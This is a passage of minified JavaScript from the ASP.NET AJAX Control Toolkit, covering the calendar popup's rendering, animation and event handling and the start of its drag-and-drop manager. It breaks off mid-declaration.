a=this,h=Sys.CultureInfo.CurrentCulture.dateTimeFormat,b=a.get_id();a._days=$common.createElementFromTemplate({nodeName:"div",properties:{id:b+"_days"},cssClasses:["ajax__calendar_days"]},a._body);a._modes["days"]=a._days;a._daysTable=$common.createElementFromTemplate({nodeName:"table",properties:{id:b+"_daysTable",cellPadding:0,cellSpacing:0,border:0,style:{margin:"auto"}}},a._days);a._daysTableHeader=$common.createElementFromTemplate({nodeName:"thead",properties:{id:b+"_daysTableHeader"}},a._daysTable);a._daysTableHeaderRow=$common.createElementFromTemplate({nodeName:"tr",properties:{id:b+"_daysTableHeaderRow"}},a._daysTableHeader);for(var c=0;c<7;c++)var e=$common.createElementFromTemplate({nodeName:"td"},a._daysTableHeaderRow),g=$common.createElementFromTemplate({nodeName:"div",cssClasses:["ajax__calendar_dayname"]},e);a._daysBody=$common.createElementFromTemplate({nodeName:"tbody",properties:{id:b+"_daysBody"}},a._daysTable);for(var c=0;c<6;c++)for(var f=$common.createElementFromTemplate({nodeName:"tr"},a._daysBody),d=0;d<7;d++)var e=$common.createElementFromTemplate({nodeName:"td"},f),g=$common.createElementFromTemplate({nodeName:"div",properties:{mode:"day",id:b+"_day_"+c+"_"+d,innerHTML:"&nbsp;"},events:a._cell$delegates,cssClasses:["ajax__calendar_day"]},e)},_buildMonths:function(){var a=this,g=Sys.CultureInfo.CurrentCulture.dateTimeFormat,d=a.get_id();a._months=$common.createElementFromTemplate({nodeName:"div",properties:{id:d+"_months"},cssClasses:["ajax__calendar_months"],visible:false},a._body);a._modes["months"]=a._months;a._monthsTable=$common.createElementFromTemplate({nodeName:"table",properties:{id:d+"_monthsTable",cellPadding:0,cellSpacing:0,border:0,style:{margin:"auto"}}},a._months);a._monthsBody=$common.createElementFromTemplate({nodeName:"tbody",properties:{id:d+"_monthsBody"}},a._monthsTable);for(var b=0;b<3;b++)for(var f=$common.createElementFromTemplate({nodeName:"tr"},a._monthsBody),c=0;c<4;c++)var e=$common.createElementFromTemplate({nodeName:"td"},f),h=$common.createElementFromTemplate({nodeName:"div",properties:{id:d+"_month_"+b+"_"+c,mode:"month",month:b*4+c,innerHTML:"<br />"+g.AbbreviatedMonthNames[b*4+c]},events:a._cell$delegates,cssClasses:["ajax__calendar_month"]},e)},_buildYears:function(){var a=this,b=a.get_id();a._years=$common.createElementFromTemplate({nodeName:"div",properties:{id:b+"_years"},cssClasses:["ajax__calendar_years"],visible:false},a._body);a._modes["years"]=a._years;a._yearsTable=$common.createElementFromTemplate({nodeName:"table",properties:{id:b+"_yearsTable",cellPadding:0,cellSpacing:0,border:0,style:{margin:"auto"}}},a._years);a._yearsBody=$common.createElementFromTemplate({nodeName:"tbody",properties:{id:b+"_yearsBody"}},a._yearsTable);for(var c=0;c<3;c++)for(var f=$common.createElementFromTemplate({nodeName:"tr"},a._yearsBody),d=0;d<4;d++)var e=$common.createElementFromTemplate({nodeName:"td"},f),g=$common.createElementFromTemplate({nodeName:"div",properties:{id:b+"_year_"+c+"_"+d,mode:"year",year:c*4+d-1},events:a._cell$delegates,cssClasses:["ajax__calendar_year"]},e)},_performLayout:function(){var l="ajax__calendar_active",k="ajax__calendar_other",a=this,t=a.get_element();if(!t)return;if(!a.get_isInitialized())return;if(!a._isOpen)return;var s=Sys.CultureInfo.CurrentCulture.dateTimeFormat,u=a.get_selectedDate(),c=a._getEffectiveVisibleDate(),p=a.get_todaysDate();switch(a._mode){case "days":var o=a._getFirstDayOfWeek(),j=c.getDay()-o;if(j<=0)j+=7;for(var q=new Date(c.getFullYear(),c.getMonth(),c.getDate()-j,a._hourOffsetForDst),f=q,e=0;e<7;e++){var d=a._daysTableHeaderRow.cells[e].firstChild;d.firstChild&&d.removeChild(d.firstChild);d.appendChild(document.createTextNode(s.ShortestDayNames[(e+o)%7]))}for(var n=0;n<6;n++)for(var r=a._daysBody.rows[n],m=0;m<7;m++){var d=r.cells[m].firstChild;d.firstChild&&d.removeChild(d.firstChild);d.appendChild(document.createTextNode(f.getDate()));d.title=f.localeFormat("D");d.date=f;$common.removeCssClasses(d.parentNode,[k,l]);Sys.UI.DomElement.addCssClass(d.parentNode,a._getCssClass(d.date,"d"));f=new Date(f.getFullYear(),f.getMonth(),f.getDate()+1,a._hourOffsetForDst)}a._prevArrow.date=new Date(c.getFullYear(),c.getMonth()-1,1,a._hourOffsetForDst);a._nextArrow.date=new Date(c.getFullYear(),c.getMonth()+1,1,a._hourOffsetForDst);a._title.firstChild&&a._title.removeChild(a._title.firstChild);a._title.appendChild(document.createTextNode(c.localeFormat(a.get_daysModeTitleFormat())));a._title.date=c;break;case "months":for(var e=0;e<a._monthsBody.rows.length;e++)for(var i=a._monthsBody.rows[e],h=0;h<i.cells.length;h++){var b=i.cells[h].firstChild;b.date=new Date(c.getFullYear(),b.month,1,a._hourOffsetForDst);b.title=b.date.localeFormat("Y");$common.removeCssClasses(b.parentNode,[k,l]);Sys.UI.DomElement.addCssClass(b.parentNode,a._getCssClass(b.date,"M"))}a._title.firstChild&&a._title.removeChild(a._title.firstChild);a._title.appendChild(document.createTextNode(c.localeFormat("yyyy")));a._title.date=c;a._prevArrow.date=new Date(c.getFullYear()-1,0,1,a._hourOffsetForDst);a._nextArrow.date=new Date(c.getFullYear()+1,0,1,a._hourOffsetForDst);break;case "years":for(var g=Math.floor(c.getFullYear()/10)*10,e=0;e<a._yearsBody.rows.length;e++)for(var i=a._yearsBody.rows[e],h=0;h<i.cells.length;h++){var b=i.cells[h].firstChild;b.date=new Date(g+b.year,0,1,a._hourOffsetForDst);if(b.firstChild)b.removeChild(b.lastChild);else b.appendChild(document.createElement("br"));b.appendChild(document.createTextNode(g+b.year));$common.removeCssClasses(b.parentNode,[k,l]);Sys.UI.DomElement.addCssClass(b.parentNode,a._getCssClass(b.date,"y"))}a._title.firstChild&&a._title.removeChild(a._title.firstChild);a._title.appendChild(document.createTextNode(g.toString()+"-"+(g+9).toString()));a._title.date=c;a._prevArrow.date=new Date(g-10,0,1,a._hourOffsetForDst);a._nextArrow.date=new Date(g+10,0,1,a._hourOffsetForDst)}a._today.firstChild&&a._today.removeChild(a._today.firstChild);a._today.appendChild(document.createTextNode(String.format(AjaxControlToolkit.Resources.Calendar_Today,p.localeFormat(a.get_todaysDateFormat()))));a._today.date=p},_ensureCalendar:function(){var a=this;if(!a._container){var b=a.get_element();a._buildCalendar();a._buildHeader();a._buildBody();a._buildFooter();a._popupBehavior=new $create(AjaxControlToolkit.PopupBehavior,{parentElement:b},{},{},a._container);if(a._popupPosition==AjaxControlToolkit.CalendarPosition.TopLeft)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopLeft);else if(a._popupPosition==AjaxControlToolkit.CalendarPosition.TopRight)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopRight);else if(a._popupPosition==AjaxControlToolkit.CalendarPosition.BottomRight)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomRight);else if(a._popupPosition==AjaxControlToolkit.CalendarPosition.Right)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Right);else if(a._popupPosition==AjaxControlToolkit.CalendarPosition.Left)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Left);else a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomLeft)}},_fireChanged:function(){var a=this.get_element();if(document.createEventObject)a.fireEvent("onchange");else if(document.createEvent){var b=document.createEvent("HTMLEvents");b.initEvent("change",true,true);a.dispatchEvent(b)}},_switchMonth:function(e,h){var f="left",c=true,a=this;if(a._isAnimating)return;var g=a._getEffectiveVisibleDate();if(e&&e.getFullYear()==g.getFullYear()&&e.getMonth()==g.getMonth())h=c;if(a._animated&&!h){a._isAnimating=c;var d=a._modes[a._mode],b=d.cloneNode(c);a._body.appendChild(b);if(g>e){$common.setLocation(d,{x:-162,y:0});$common.setVisible(d,c);a._modeChangeMoveTopOrLeftAnimation.set_propertyKey(f);a._modeChangeMoveTopOrLeftAnimation.set_target(d);a._modeChangeMoveTopOrLeftAnimation.set_startValue(-a._width);a._modeChangeMoveTopOrLeftAnimation.set_endValue(0);$common.setLocation(b,{x:0,y:0});$common.setVisible(b,c);a._modeChangeMoveBottomOrRightAnimation.set_propertyKey(f);a._modeChangeMoveBottomOrRightAnimation.set_target(b);a._modeChangeMoveBottomOrRightAnimation.set_startValue(0);a._modeChangeMoveBottomOrRightAnimation.set_endValue(a._width)}else{$common.setLocation(b,{x:0,y:0});$common.setVisible(b,c);a._modeChangeMoveTopOrLeftAnimation.set_propertyKey(f);a._modeChangeMoveTopOrLeftAnimation.set_target(b);a._modeChangeMoveTopOrLeftAnimation.set_endValue(-a._width);a._modeChangeMoveTopOrLeftAnimation.set_startValue(0);$common.setLocation(d,{x:162,y:0});$common.setVisible(d,c);a._modeChangeMoveBottomOrRightAnimation.set_propertyKey(f);a._modeChangeMoveBottomOrRightAnimation.set_target(d);a._modeChangeMoveBottomOrRightAnimation.set_endValue(0);a._modeChangeMoveBottomOrRightAnimation.set_startValue(a._width)}a._visibleDate=e;a.invalidate();var i=Function.createDelegate(a,function(){this._body.removeChild(b);b=null;this._isAnimating=false;this._modeChangeAnimation.remove_ended(i)});a._modeChangeAnimation.add_ended(i);a._modeChangeAnimation.play()}else{a._visibleDate=e;a.invalidate()}},_switchMode:function(e,h){var f="top",d=true,a=this;if(a._isAnimating||a._mode==e)return;var i=a._modeOrder[a._mode]<a._modeOrder[e],c=a._modes[a._mode],b=a._modes[e];a._mode=e;if(a._animated&&!h){a._isAnimating=d;a.invalidate();if(i){$common.setLocation(b,{x:0,y:-a._height});$common.setVisible(b,d);a._modeChangeMoveTopOrLeftAnimation.set_propertyKey(f);a._modeChangeMoveTopOrLeftAnimation.set_target(b);a._modeChangeMoveTopOrLeftAnimation.set_startValue(-a._height);a._modeChangeMoveTopOrLeftAnimation.set_endValue(0);$common.setLocation(c,{x:0,y:0});$common.setVisible(c,d);a._modeChangeMoveBottomOrRightAnimation.set_propertyKey(f);a._modeChangeMoveBottomOrRightAnimation.set_target(c);a._modeChangeMoveBottomOrRightAnimation.set_startValue(0);a._modeChangeMoveBottomOrRightAnimation.set_endValue(a._height)}else{$common.setLocation(c,{x:0,y:0});$common.setVisible(c,d);a._modeChangeMoveTopOrLeftAnimation.set_propertyKey(f);a._modeChangeMoveTopOrLeftAnimation.set_target(c);a._modeChangeMoveTopOrLeftAnimation.set_endValue(-a._height);a._modeChangeMoveTopOrLeftAnimation.set_startValue(0);$common.setLocation(b,{x:0,y:139});$common.setVisible(b,d);a._modeChangeMoveBottomOrRightAnimation.set_propertyKey(f);a._modeChangeMoveBottomOrRightAnimation.set_target(b);a._modeChangeMoveBottomOrRightAnimation.set_endValue(0);a._modeChangeMoveBottomOrRightAnimation.set_startValue(a._height)}var g=Function.createDelegate(a,function(){this._isAnimating=false;this._modeChangeAnimation.remove_ended(g)});a._modeChangeAnimation.add_ended(g);a._modeChangeAnimation.play()}else{a._mode=e;$common.setVisible(c,false);a.invalidate();$common.setVisible(b,d);$common.setLocation(b,{x:0,y:0})}},_isSelected:function(c,d){var a=false,b=this.get_selectedDate();if(!b)return a;switch(d){case "d":if(c.getDate()!=b.getDate())return a;case "M":if(c.getMonth()!=b.getMonth())return a;case "y":if(c.getFullYear()!=b.getFullYear())return a}return true},_isOther:function(a,d){var b=this._getEffectiveVisibleDate();switch(d){case "d":return a.getFullYear()!=b.getFullYear()||a.getMonth()!=b.getMonth();case "M":return false;case "y":var c=Math.floor(b.getFullYear()/10)*10;return a.getFullYear()<c||c+10<=a.getFullYear()}return false},_getCssClass:function(a,b){if(this._isSelected(a,b))return "ajax__calendar_active";else if(this._isOther(a,b))return "ajax__calendar_other";else return ""},_getEffectiveVisibleDate:function(){var b=this,a=b.get_visibleDate();if(a==null)a=b.get_selectedDate();if(a==null)a=b.get_todaysDate();return new Date(a.getFullYear(),a.getMonth(),1,b._hourOffsetForDst)},_getFirstDayOfWeek:function(){if(this.get_firstDayOfWeek()!=AjaxControlToolkit.FirstDayOfWeek.Default)return this.get_firstDayOfWeek();return Sys.CultureInfo.CurrentCulture.dateTimeFormat.FirstDayOfWeek},_parseTextValue:function(b){var a=null;if(b)a=Date.parseLocale(b,this.get_format());if(isNaN(a))a=null;return a},_element_onfocus:function(){var a=this;if(!a._enabled)return;if(!a._button){a.show();a._popupMouseDown=false}},_element_onblur:function(){if(!this._enabled)return;!this._button&&this.blur()},_element_onchange:function(){var a=this;if(!a._selectedDateChanging){var b=a._parseTextValue(a._textbox.get_Value());if(b)b=b.getDateOnly();a._selectedDate=b;a._isOpen&&a._switchMonth(a._selectedDate,a._selectedDate==null)}},_element_onkeypress:function(a){if(!this._enabled)return;if(!this._button&&a.charCode==Sys.UI.Key.esc){a.stopPropagation();a.preventDefault();this.hide()}},_element_onclick:function(){var a=this;if(!a._enabled)return;if(!a._button){a.show();a._popupMouseDown=false}},_popup_onevent:function(a){a.stopPropagation();a.preventDefault()},_popup_onmousedown:function(){this._popupMouseDown=true},_popup_onmouseup:function(){var a=this;Sys.Browser.agent===Sys.Browser.Opera&&a._blur.get_isPending()&&a._blur.cancel();a._popupMouseDown=false;a.focus()},_cell_onmouseover:function(e){var c="ajax__calendar_hover";e.stopPropagation();if(Sys.Browser.agent===Sys.Browser.Safari)for(var a=0;a<this._daysBody.rows.length;a++)for(var d=this._daysBody.rows[a],b=0;b<d.cells.length;b++)Sys.UI.DomElement.removeCssClass(d.cells[b].firstChild.parentNode,c);var f=e.target;Sys.UI.DomElement.addCssClass(f.parentNode,c)},_cell_onmouseout:function(a){a.stopPropagation();var b=a.target;Sys.UI.DomElement.removeCssClass(b.parentNode,"ajax__calendar_hover")},_cell_onclick:function(e){var c="months",d="days",a=this;e.stopPropagation();e.preventDefault();if(!a._enabled)return;var b=e.target,f=a._getEffectiveVisibleDate();Sys.UI.DomElement.removeCssClass(b.parentNode,"ajax__calendar_hover");switch(b.mode){case "prev":case "next":a._switchMonth(b.date);break;case "title":switch(a._mode){case d:a._switchMode(c);break;case c:a._switchMode("years")}break;case "month":if(b.month==f.getMonth())a._switchMode(d);else{a._visibleDate=b.date;a._switchMode(d)}break;case "year":if(b.date.getFullYear()==f.getFullYear())a._switchMode(c);else{a._visibleDate=b.date;a._switchMode(c)}break;case "day":a.set_selectedDate(b.date);a._switchMonth(b.date);a._blur.post(true);a.raiseDateSelectionChanged();break;case "today":a.set_selectedDate(b.date);a._switchMonth(b.date);a._blur.post(true);a.raiseDateSelectionChanged()}},_button_onclick:function(b){var a=this;b.preventDefault();b.stopPropagation();if(!a._enabled)return;if(!a._isOpen)a.show();else a.hide();a.focus();a._popupMouseDown=false},_button_onblur:function(){var a=this;if(!a._enabled)return;!a._popupMouseDown&&a.hide();a._popupMouseDown=false},_button_onkeypress:function(a){if(!this._enabled)return;if(a.charCode==Sys.UI.Key.esc){a.stopPropagation();a.preventDefault();this.hide()}this._popupMouseDown=false}};AjaxControlToolkit.CalendarBehavior.registerClass("AjaxControlToolkit.CalendarBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.CalendarPosition=function(){throw Error.invalidOperation();};AjaxControlToolkit.CalendarPosition.prototype={BottomLeft:0,BottomRight:1,TopLeft:2,TopRight:3,Right:4,Left:5};AjaxControlToolkit.CalendarPosition.registerEnum("AjaxControlToolkit.CalendarPosition");AjaxControlToolkit.CalendarDefaultView=function(){throw Error.invalidOperation();};AjaxControlToolkit.CalendarDefaultView.prototype={Days:0,Months:1,Years:2};AjaxControlToolkit.CalendarDefaultView.registerEnum("AjaxControlToolkit.CalendarDefaultView");�EType.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.IDragSource=function(){};AjaxControlToolkit.IDragSource.prototype={get_dragDataType:function(){throw Error.notImplemented();},getDragData:function(){throw Error.notImplemented();},get_dragMode:function(){throw Error.notImplemented();},onDragStart:function(){throw Error.notImplemented();},onDrag:function(){throw Error.notImplemented();},onDragEnd:function(){throw Error.notImplemented();}};AjaxControlToolkit.IDragSource.registerInterface("AjaxControlToolkit.IDragSource");AjaxControlToolkit.IDropTarget=function(){};AjaxControlToolkit.IDropTarget.prototype={get_dropTargetElement:function(){throw Error.notImplemented();},canDrop:function(){throw Error.notImplemented();},drop:function(){throw Error.notImplemented();},onDragEnterTarget:function(){throw Error.notImplemented();},onDragLeaveTarget:function(){throw Error.notImplemented();},onDragInTarget:function(){throw Error.notImplemented();}};AjaxControlToolkit.IDropTarget.registerInterface("AjaxControlToolkit.IDropTarget");AjaxControlToolkit.DragMode=function(){throw Error.invalidOperation();};AjaxControlToolkit.DragMode.prototype={Copy:0,Move:1};AjaxControlToolkit.DragMode.registerEnum("AjaxControlToolkit.DragMode");AjaxControlToolkit.DragDropEventArgs=function(c,a,b){this._dragMode=c;this._dataType=a;this._data=b};AjaxControlToolkit.DragDropEventArgs.prototype={get_dragMode:function(){return this._dragMode||null},get_dragDataType:function(){return this._dataType||null},get_dragData:function(){return this._data||null}};AjaxControlToolkit.DragDropEventArgs.registerClass("AjaxControlToolkit.DragDropEventArgs");AjaxControlToolkit._DragDropManager=function(){this._instance=null;this._events=null};AjaxControlToolkit._DragDropManager.prototype={add_dragStart:function(a){this.get_events().addHandler("dragStart",a)},remove_dragStart:function(a){this.get_events().removeHandler("dragStart",a)},get_events:function(){if(!this._events)this._events=new Sys.EventHandlerList;return this._events},add_dragStop:function(a){this.get_events().addHandler("dragStop",a)},remove_dragStop:function(a){this.get_events().removeHandler("dragStop",a)},_getInstance:function(){var a=this;if(!a._instance){if(Sys.Browser.agent===Sys.Browser.InternetExplorer)a._instance=new AjaxControlToolkit.IEDragDropManager;else a._instance=new AjaxControlToolkit.GenericDragDropManager;a._instance.initialize();a._instance.add_dragStart(Function.createDelegate(a,a._raiseDragStart));a._instance.add_dragStop(Function.createDelegate(a,a._raiseDragStop))}return a._instance},startDragDrop:function(b,c,d,a){this._getInstance().startDragDrop(b,c,d,a)},registerDropTarget:function(a){this._getInstance().registerDropTarget(a)},unregisterDropTarget:function(a){this._getInstance().unregisterDropTarget(a)},dispose:function(){delete this._events;Sys.Application.unregisterDisposableObject(this);Sys.Application.removeComponent(this)},_raiseDragStart:function(c,b){var a=this.get_events().getHandler("dragStart");a&&a(this,b)},_raiseDragStop:function(c,b){var a=this.get_events().getHandler("dragStop");a&&a(this,b)}};AjaxControlToolkit._DragDropManager.registerClass("AjaxControlToolkit._DragDropManager");AjaxControlToolkit.DragDropManager=new AjaxControlToolkit._DragDropManager;AjaxControlToolkit.IEDragDropManager=function(){var b=null,a=this;AjaxControlToolkit.IEDragDropManager.initializeBase(a);a._dropTargets=b;a._radius=10;a._useBuiltInDragAndDropFunctions=true;a._activeDragVisual=b;a._activeContext=b;a._activeDragSource=b;a._underlyingTarget=b;a._oldOffset=b;a._potentialTarget=b;a._isDragging=false;a._mouseUpHandler=b;a._documentMouseMoveHandler=b;a._documentDragOverHandler=b;a._dragStartHandler=b;a._mouseMoveHandler=b;a._dragEnterHandler=b;a._dragLeaveHandler=b;a._dragOverHandler=b;a._dropHandler=b};AjaxControlToolkit.IEDragDropManager.prototype={add_dragStart:function(a){this.get_events().addHandler("dragStart",a)},remove_dragStart:function(a){this.get_events().removeHandler("dragStart",a)},add_dragStop:function(a){this.get_events().addHandler("dragStop",a)},remove_dragStop:function(a){this.get_events().removeHandler("dragStop",a)},initialize:function(){var a=this;AjaxControlToolkit.IEDragDropManager.callBaseMethod(a,"initialize");a._mouseUpHandler=Function.createDelegate(a,a._onMouseUp);a._documentMouseMoveHandler=Function.createDelegate(a,a._onDocumentMouseMove);a._documentDragOverHandler=Function.createDelegate(a,a._onDocumentDragOver);a._dragStartHandler=Function.createDelegate(a,a._onDragStart);a._mouseMoveHandler=Function.createDelegate(a,a._onMouseMove);a._dragEnterHandler=Function.createDelegate(a,a._onDragEnter);a._dragLeaveHandler=Function.createDelegate(a,a._onDragLeave);a._dragOverHandler=Function.createDelegate(a,a._onDragOver);a._dropHandler=Function.createDelegate(a,a._onDrop)},dispose:function(){var a=this;if(a._dropTargets){for(var b=0;b<a._dropTargets;b++)a.unregisterDropTarget(a._dropTargets[b]);a._dropTargets=null}AjaxControlToolkit.IEDragDropManager.callBaseMethod(a,"dispose")},startDragDrop:function(c,b,h,f){var a=this,j=window._event;if(a._isDragging)return;a._underlyingTarget=null;a._activeDragSource=c;a._activeDragVisual=b;a._activeContext=h;a._useBuiltInDragAndDropFunctions=typeof f!="undefined"?f:true;var g={x:j.clientX,y:j.clientY};b.originalPosition=b.style.position;b.style.position="absolute";document._lastPosition=g;b.startingPoint=g;var k=a.getScrollOffset(b,true);b.startingPoint=a.addPoints(b.startingPoint,k);var d=parseInt(b.style.left),e=parseInt(b.style.top);if(isNaN(d))d="0";if(isNaN(e))e="0";b.startingPoint=a.subtractPoints(b.startingPoint,{x:d,y:e});a._prepareForDomChanges();c.onDragStart();var l=new AjaxControlToolkit.DragDropEventArgs(c.get_dragMode(),c.get_dragDataType(),c.getDragData(h)),i=a.get_events().getHandler("dragStart");i&&i(a,l);a._recoverFromDomChanges();a._wireEvents();a._drag(true)},_stopDragDrop:function(c){var b=null,a=this,e=window._event;if(a._activeDragSource!=b){a._unwireEvents();if(!c)c=a._underlyingTarget==b;!c&&a._underlyingTarget!=b&&a._underlyingTarget.drop(a._activeDragSource.get_dragMode(),a._activeDragSource.get_dragDataType(),a._activeDragSource.getDragData(a._activeContext));a._activeDragSource.onDragEnd(c);var d=a.get_events().getHandler("dragStop");d&&d(a,Sys.EventArgs.Empty);a._activeDragVisual.style.position=a._activeDragVisual.originalPosition;a._activeDragSource=b;a._activeContext=b;a._activeDragVisual=b;a._isDragging=false;a._potentialTarget=b;e.preventDefault()}},_drag:function(g){var b=null,a=this,f=window._event,e={x:f.clientX,y:f.clientY};document._lastPosition=e;var h=a.getScrollOffset(a._activeDragVisual,true),c=a.addPoints(a.subtractPoints(e,a._activeDragVisual.startingPoint),h);if(!g&&parseInt(a._activeDragVisual.style.left)==c.x&&parseInt(a._activeDragVisual.style.top)==c.y)return;$common.setLocation(a._activeDragVisual,c);a._prepareForDomChanges();a._activeDragSource.onDrag();a._recoverFromDomChanges();a._potentialTarget=a._findPotentialTarget(a._activeDragSource,a._activeDragVisual);var d=a._potentialTarget!=a._underlyingTarget||a._potentialTarget==b;d&&a._underlyingTarget!=b&&a._leaveTarget(a._activeDragSource,a._underlyingTarget);if(a._potentialTarget!=b)if(d){a._underlyingTarget=a._potentialTarget;a._enterTarget(a._activeDragSource,a._underlyingTarget)}else a._moveInTarget(a._activeDragSource,a._underlyingTarget);else a._underlyingTarget=b},_wireEvents:function(){var b="mousemove",a=this;if(a._useBuiltInDragAndDropFunctions){$addHandler(document,"mouseup",a._mouseUpHandler);$addHandler(document,b,a._documentMouseMoveHandler);$addHandler(document.body,"dragover",a._documentDragOverHandler);$addHandler(a._activeDragVisual,"dragstart",a._dragStartHandler);$addHandler(a._activeDragVisual,"dragend",a._mouseUpHandler);$addHandler(a._activeDragVisual,"drag",a._mouseMoveHandler)}else{$addHandler(document,"mouseup",a._mouseUpHandler);$addHandler(document,b,a._mouseMoveHandler)}},_unwireEvents:function(){var b="mousemove",a=this;if(a._useBuiltInDragAndDropFunctions){$removeHandler(a._activeDragVisual,"drag",a._mouseMoveHandler);$removeHandler(a._activeDragVisual,"dragend",a._mouseUpHandler);$removeHandler(a._activeDragVisual,"dragstart",a._dragStartHandler);$removeHandler(document.body,"dragover",a._documentDragOverHandler);$removeHandler(document,b,a._documentMouseMoveHandler);$removeHandler(document,"mouseup",a._mouseUpHandler)}else{$removeHandler(document,b,a._mouseMoveHandler);$removeHandler(document,"mouseup",a._mouseUpHandler)}},registerDropTarget:function(b){var a=this;if(a._dropTargets==null)a._dropTargets=[];Array.add(a._dropTargets,b);a._wireDropTargetEvents(b)},unregisterDropTarget:function(a){this._unwireDropTargetEvents(a);this._dropTargets&&Array.remove(this._dropTargets,a)},_wireDropTargetEvents:function(c){var b=this,a=c.get_dropTargetElement();a._dropTarget=c;$addHandler(a,"dragenter",b._dragEnterHandler);$addHandler(a,"dragleave",b._dragLeaveHandler);$addHandler(a,"dragover",b._dragOverHandler);$addHandler(a,"drop",b._dropHandler)},_unwireDropTargetEvents:function(c){var b=this,a=c.get_dropTargetElement();if(a._dropTarget){a._dropTarget=null;$removeHandler(a,"dragenter",b._dragEnterHandler);$removeHandler(a,"dragleave",b._dragLeaveHandler);$removeHandler(a,"dragover",b._dragOverHandler);$removeHandler(a,"drop",b._dropHandler)}},_onDragStart:function(d){window._event=d;document.selection.empty();var c=d.dataTransfer;if(!c&&d.rawEvent)c=d.rawEvent.dataTransfer;var b=this._activeDragSource.get_dragDataType().toLowerCase(),a=this._activeDragSource.getDragData(this._activeContext);if(a){if(b!="text"&&b!="url"){b="text";if(a.innerHTML!=null)a=a.innerHTML}c.effectAllowed="move";c.setData(b,a.toString())}},_onMouseUp:function(a){window._event=a;this._stopDragDrop(false)},_onDocumentMouseMove:function(a){window._event=a;this._dragDrop()},_onDocumentDragOver:function(a){window._event=a;this._potentialTarget&&a.preventDefault()},_onMouseMove:function(a){window._event=a;this._drag()},_onDragEnter:function(c){window._event=c;if(this._isDragging)c.preventDefault();else for(var b=AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget(this._getDropTarget(c.target)),a=0;a<b.length;a++)this._dropTarget.onDragEnterTarget(AjaxControlToolkit.DragMode.Copy,b[a].type,b[a].value)},_onDragLeave:function(c){window._event=c;if(this._isDragging)c.preventDefault();else for(var b=AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget(this._getDropTarget(c.target)),a=0;a<b.length;a++)this._dropTarget.onDragLeaveTarget(AjaxControlToolkit.DragMode.Copy,b[a].type,b[a].value)},_onDragOver:function(c){window._event=c;if(this._isDragging)c.preventDefault();else for(var b=AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget(this._getDropTarget(c.target)),a=0;a<b.length;a++)this._dropTarget.onDragInTarget(AjaxControlToolkit.DragMode.Copy,b[a].type,b[a].value)},_onDrop:function(c){window._event=c;if(!this._isDragging)for(var b=AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget(this._getDropTarget(c.target)),a=0;a<b.length;a++)this._dropTarget.drop(AjaxControlToolkit.DragMode.Copy,b[a].type,b[a].value);c.preventDefault()},_getDropTarget:function(a){while(a){if(a._dropTarget!=null)return a._dropTarget;a=a.parentNode}return null},_dragDrop:function(){if(this._isDragging)return;this._isDragging=true;this._activeDragVisual.dragDrop();document.selection.empty()},_moveInTarget:function(a,b){this._prepareForDomChanges();b.onDragInTarget(a.get_dragMode(),a.get_dragDataType(),a.getDragData(this._activeContext));this._recoverFromDomChanges()},_enterTarget:function(a,b){this._prepareForDomChanges();b.onDragEnterTarget(a.get_dragMode(),a.get_dragDataType(),a.getDragData(this._activeContext));this._recoverFromDomChanges()},_leaveTarget:function(a,b){this._prepareForDomChanges();b.onDragLeaveTarget(a.get_dragMode(),a.get_dragDataType(),a.getDragData(this._activeContext));this._recoverFromDomChanges()},_findPotentialTarget:function(c){var a=this,f=window._event;if(a._dropTargets==null)return null;for(var j=c.get_dragDataType(),i=c.get_dragMode(),h=c.getDragData(a._activeContext),d=a.getScrollOffset(document.body,true),k=f.clientX+d.x,l=f.clientY+d.y,g={x:k-a._radius,y:l-a._radius,width:a._radius*2,height:a._radius*2},e,b=0;b<a._dropTargets.length;b++){e=$common.getBounds(a._dropTargets[b].get_dropTargetElement());if($common.overlaps(g,e)&&a._dropTargets[b].canDrop(i,j,h))return a._dropTargets[b]}return null},_prepareForDomChanges:function(){this._oldOffset=$common.getLocation(this._activeDragVisual)},_recoverFromDomChanges:function(){var a=this,b=$common.getLocation(a._activeDragVisual);if(a._oldOffset.x!=b.x||a._oldOffset.y!=b.y){a._activeDragVisual.startingPoint=a.subtractPoints(a._activeDragVisual.startingPoint,a.subtractPoints(a._oldOffset,b));scrollOffset=a.getScrollOffset(a._activeDragVisual,true);var c=a.addPoints(a.subtractPoints(document._lastPosition,a._activeDragVisual.startingPoint),scrollOffset);$common.setLocation(a._activeDragVisual,c)}},addPoints:function(a,b){return {x:a.x+b.x,y:a.y+b.y}},subtractPoints:function(a,b){return {x:a.x-b.x,y:a.y-b.y}},getScrollOffset:function(b,e){var c=b.scrollLeft,d=b.scrollTop;if(e){var a=b.parentNode;while(a!=null&&a.scrollLeft!=null){c+=a.scrollLeft;d+=a.scrollTop;if(a==document.body&&(c!=0&&d!=0))break;a=a.parentNode}}return {x:c,y:d}},getBrowserRectangle:function(){var b=window.innerWidth,a=window.innerHeight;if(b==null)b=document.documentElement.clientWidth;if(a==null)a=document.documentElement.clientHeight;return {x:0,y:0,width:b,height:a}},getNextSibling:function(a){for(a=a.nextSibling;a!=null;a=a.nextSibling)if(a.innerHTML!=null)return a;return null},hasParent:function(a){return a.parentNode!=null&&a.parentNode.tagName!=null}};AjaxControlToolkit.IEDragDropManager.registerClass("AjaxControlToolkit.IEDragDropManager",Sys.Component);AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget=function(g){if(g==null)return [];for(var e=window._event,f=[],b=["URL","Text"],c,a=0;a<b.length;a++){var d=e.dataTransfer;if(!d&&e.rawEvent)d=e.rawEvent.dataTransfer;c=d.getData(b[a]);if(g.canDrop(AjaxControlToolkit.DragMode.Copy,b[a],c))c&&Array.add(f,{type:b[a],value:c})}return f};AjaxControlToolkit.GenericDragDropManager=function(){var 